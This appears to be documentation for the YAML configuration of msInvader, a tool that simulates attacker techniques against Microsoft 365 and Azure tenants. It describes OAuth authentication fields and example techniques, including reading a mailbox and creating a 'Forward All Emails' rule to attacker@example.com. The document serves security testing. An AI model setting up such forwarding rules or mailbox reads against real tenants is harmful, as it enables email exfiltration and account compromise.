msInvader Configuration File

The YAML configuration file is crucial for customizing and running simulations with msInvader.

Configuration Structure

The YAML configuration file for msInvader consists of two main sections: authentication and techniques. Here's an overview of the file structure:

authentication:
  # Authentication details go here

techniques:
  # Techniques and their parameters are defined here

Authentication Section

This section details the authentication method msInvader will use to interact with M365 and Azure environments. It supports different OAuth flows tailored to various simulation needs.

Fields Description:

Depending on the auth_method defined on the techniques section, certain fields may be required:

• tenant_id: The unique identifier of the Azure or O365 tenant that the application is registering with. Required for all authentication flows.

• client_id: The application (client) ID that's assigned to your app by Azure when the app is registered. It uniquely identifies the application within the Azure AD tenant. Required for the Client Credentials flow.

• client_secret: A secret string that the application uses to prove its identity when requesting a token. Also referred to as application password. Required for the Client Credentials flow.

• username: The username of the user you want to authenticate as. This is typically an email address. Required for Resource Owner Password Credentials flow.

• password: The password of the user you want to authenticate as. Required for Resource Owner Password Credentials flow.

Examples:

authentication:
  tenant_id: "your-tenant-id"
  client_id: "your-client-id"
  client_secret: "your-client-secret"

authentication:
  tenant_id: "your-tenant-id"
  username: "victim@constoso.com"
  password: "password"

Techniques Section

In this section, users can list the adversary techniques they want msInvader to simulate. Each technique is configured with specific parameters that define how the simulation will be executed.

Fields Description:

• technique: Name of the technique to simulate.
• enabled: Boolean (True or False) indicating if the technique should be simulated.
• parameters: Nested key-value pairs that provide specific instructions for the technique simulation, such as the method to use, mailbox to target, etc.
  • auth_method: Defines the OAuth flow for authentication. Options include:
    • resource_owner for Resource Owner Password Credentials (ROPC) flow. Note: This flow does not work for accounts with Multi-Factor Authentication (MFA) enabled.
    • device_code for Device Code flow.
    • client_credentials for Client Credentials flow.
  • access_method: Defines how msInvader interacts with Exchange Online, specifying the API used for communication.
    • graph: Utilizes the Microsoft Graph API, offering comprehensive capabilities across Microsoft 365 services.
    • ews: Employs Exchange Web Services, facilitating traditional email operations within Exchange Online.
    • rest: Leverages RESTful APIs, including those used by the Exchange Online PowerShell module, for various administrative tasks.

Example:

techniques:
  technique: "read_email"
    enabled: True
    parameters:
      auth_method: "client_credentials"
      access_method: "graph"
      mailbox: "user@example.com"
      limit: 10

  technique: "create_rule"
    enabled: False
    parameters:
      auth_method: "resource_owner"
      access_method: "ews"
      mailbox: "user@example.com"
      rule_name: "Forward All Emails"
      forward_to: "attacker@example.com"

Configuring Your File

1. Define Authentication: Start by setting up the authentication section to ensure msInvader can authenticate with the necessary services.
2. Select Techniques: Activate the techniques you wish to simulate by setting enabled to True and filling out their respective parameters.
3. Customize Parameters: Adjust each technique's parameters to tailor the simulation to your specific needs and scenarios.